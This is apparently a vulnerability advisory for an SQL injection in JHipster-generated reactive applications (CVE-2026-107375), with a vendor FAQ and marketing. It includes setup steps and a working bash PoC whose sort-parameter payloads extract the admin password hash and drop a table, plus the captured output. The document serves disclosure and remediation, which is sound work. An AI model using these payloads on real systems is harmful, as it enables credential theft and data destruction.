Summary
JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort
SQL Injection in the sort Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications
- Product: jhipster/generator-jhipster (npm package
generator-jhipster) - Affected versions: v7.0.0 through v9.2.0
- Component: generated reactive-application code, template
EntityManager_reactive.java.ejs - Report date: 2026-08-29
1. Summary
Every reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by generator-jhipster contains an SQL injection in the paginated entity list endpoints (GET /api/<entity>?sort=...). The sort request parameter is taken verbatim from the user and concatenated into the SQL ORDER BY clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the simple query protocol, so ;-separated extra statements are run against the database.
A single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore execute arbitrary SQL: read any table (including jhi_user password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).
The JPA (non-reactive) path is not affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.
2. Root Cause
The generator templategenerators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs (lines 240–253) writes createOrderByFields(...), which renders the user-supplied sort property directly as an unquoted SqlIdentifier:
private static Collection<? extends OrderByField> createOrderByFields(Table table, Sort sortToUse) {
List<OrderByField> fields = new ArrayList<>();
for (Sort.Order order : sortToUse) {
String propertyName = order.getProperty(); // attacker controlled (?sort=...)
OrderByField orderByField = !propertyName.contains(".")
? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))
: createOrderByField(propertyName);
fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());
}
return fields;
}
The generated app configures SqlRenderer.create(factory.createRenderContext()) with the default naming strategy, so unquoted identifiers are rendered verbatim. With ?sort=id;DROP TABLE product;-- the alias renders into:
SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0
3. Verification
A real application was generated from this repository (git clone of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.
| Step | H2 (dev default) | PostgreSQL 16 (prod default) |
|---|---|---|
Error probe sort=name%27 |
500; SQL echoed with raw ' in ORDER BY e_name' |
500; r2dbc-postgresql parse error echoing full SQL |
Exfiltrate admin hash via ;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);-- |
HTTP 200; name becomes $2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC |
HTTP 200; same hash read back |
;DROP TABLE product;-- |
HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |
All payloads executed with a token carrying only ROLE_USER. No other vulnerability or privileged account is required.
4. Impact
CWE-89 SQL Injection. Confidentiality (arbitrary read, incl. jhi_user password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for reactive: true + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.
5. Fix Recommendation
In EntityManager.createOrderByFields, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted SqlIdentifier; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.
Appendix
A. Environment setup
# 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3
java -version # openjdk 21.x
node --version # v20+
# 1. Clone the generator
git clone https://github.com/jhipster/generator-jhipster.git
cd generator-jhipster
git checkout <affected-tag> # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.
npm install --no-audit --no-fund # ~778 packages
npm link # makes `jhipster` available
jhipster --version # expected: 9.2.0
# 2. Generate the target app (reactive + SQL + JWT + paginated entity)
mkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux
cat > .yo-rc.json <<'EOF'
{ "generator-jhipster": {
"applicationType": "monolith", "baseName": "pocwebflux",
"packageName": "com.mycompany.pocwebflux", "authenticationType": "jwt",
"databaseType": "sql", "devDatabaseType": "h2Memory", "prodDatabaseType": "postgresql",
"reactive": true, "skipClient": true, "buildTool": "maven",
"enableTranslation": false, "jhipsterVersion": "9.2.0" } }
EOF
cat > product.jdl <<'EOF'
entity Product { name String required, price BigDecimal }
paginate Product with pagination
EOF
export JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn
jhipster --no-insight --force # -> "Spring Boot 4.1.1 application generated successfully."
jhipster jdl product.jdl --no-insight --force
# Sanity check that the generated app contains the vulnerable code (all should match):
grep -n "OrderByField.from(table.column" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java
grep -n "findAllBy(Pageable" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java
grep -n "Pageable pageable" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java
# 3a. Run on H2 (default dev database)
./mvnw -DskipTests package # -> BUILD SUCCESS
setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \
--spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null &
curl -s http://127.0.0.1:18080/management/health # -> {"groups":[...],"status":"UP"}
BASE_URL=http://127.0.0.1:18080 bash <path-to>/poc/poc.sh
# 3b. Run on PostgreSQL 16 (default production database)
docker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \
-e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16
./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile
SECRET=$(python3 -c "import base64,os;print(base64.b64encode(os.urandom(64)).decode())")
setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \
--spring.profiles.active=prod --server.port=18081 \
--spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \
--spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \
--spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \
--spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \
--jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null &
# seed two products via the API (prod has no sample data), then run poc.sh:
BASE_URL=http://127.0.0.1:18081 bash <path-to>/poc/poc.sh
docker rm -f jh-pg16
B. PoC script
#!/usr/bin/env bash
# Usage: BASE_URL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token)
set -euo pipefail
BASE_URL="${BASE_URL:-http://127.0.0.1:18080}"; JWT="${JWT:-}"; LOGIN="${LOGIN:-user}"; PASSWORD="${PASSWORD:-user}"
if [ -z "$JWT" ]; then
JWT=$(curl -s -X POST "$BASE_URL/api/authenticate" -H 'Content-Type: application/json' \
-d "{\"username\":\"$LOGIN\",\"password\":\"$PASSWORD\",\"rememberMe\":false}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['id_token'])")
fi
AUTH="Authorization: Bearer $JWT"
echo "== 2) Baseline =="
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc&page=0&size=2" | head -c 300; echo
echo "== 3) Error probe: sort=name' =="
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=name%27" \
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(d.get("detail"))' || true
echo "== 4) Exfiltrate admin bcrypt hash =="
PAYLOAD="id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--"
curl -s -o /dev/null -w " injection HTTP %{http_code}\n" -H "$AUTH" "$BASE_URL/api/products?sort=$PAYLOAD"
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc&page=0&size=2" \
| python3 -c "import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]"
echo "== 5) DROP TABLE product =="
PAYLOAD="id%3BDROP%20TABLE%20product%3B--"
curl -s -o /dev/null -w " injection HTTP %{http_code}\n" -H "$AUTH" "$BASE_URL/api/products?sort=$PAYLOAD"
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc" \
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(str(d.get("detail"))[:90])' || true
C. Real output (H2 run, 2026-08-29, full poc.sh execution)
== Target: http://127.0.0.1:18080 ==
== 1) Obtain a low-privileged token (user/user) ==
== 2) Baseline: benign paginated read (sort=id,asc) ==
[ { "id" : 1, "name" : "eke below forceful", "price" : 3151.02 }, { "id" : 2, ... } ]
== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped ==
status: 500
detail: Syntax error in SQL statement "SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price
FROM product e ORDER BY e_name[*]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY"; SQL statement:
SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name' ASC
OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]
== 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field ==
injection request HTTP 200
Read back - first product 'name' now equals the admin bcrypt hash:
id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC
id=2 name=notwithstanding
== 5) Arbitrary SQL: DROP TABLE product (availability) ==
injection request HTTP 200
After injection, listing products again:
status: 500
detail: Table "PRODUCT" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]
== Done. The database has been modified / a table dropped by injected SQL. ==
D. Real output (PostgreSQL 16 run )
== 3) Error probe: sort=name' ==
status: 500
detail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:
SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e
ORDER BY e_name' ASC LIMIT 20 OFFSET 0
== 4) Exfiltrate jhi_user.password_hash (admin) into a readable field ==
injection request HTTP 200
id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC
id=1501 name=beta widget
== 5) DROP TABLE product ==
injection request HTTP 200 -> subsequent list: status 500 "Failure during data access"
Impact
Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.
CVE-2026-107375 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.4.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-107375? CVE-2026-107375 is a high-severity SQL injection vulnerability in generator-jhipster (npm), affecting versions >= 7.0.0, < 9.4.0. It is fixed in 9.4.0. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
- How severe is CVE-2026-107375? CVE-2026-107375 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of generator-jhipster are affected by CVE-2026-107375? generator-jhipster (npm) versions >= 7.0.0, < 9.4.0 is affected.
- Is there a fix for CVE-2026-107375? Yes. CVE-2026-107375 is fixed in 9.4.0. Upgrade to this version or later.
- Is CVE-2026-107375 exploitable, and should I be worried? Whether CVE-2026-107375 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-107375 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-107375? Upgrade
generator-jhipsterto 9.4.0 or later.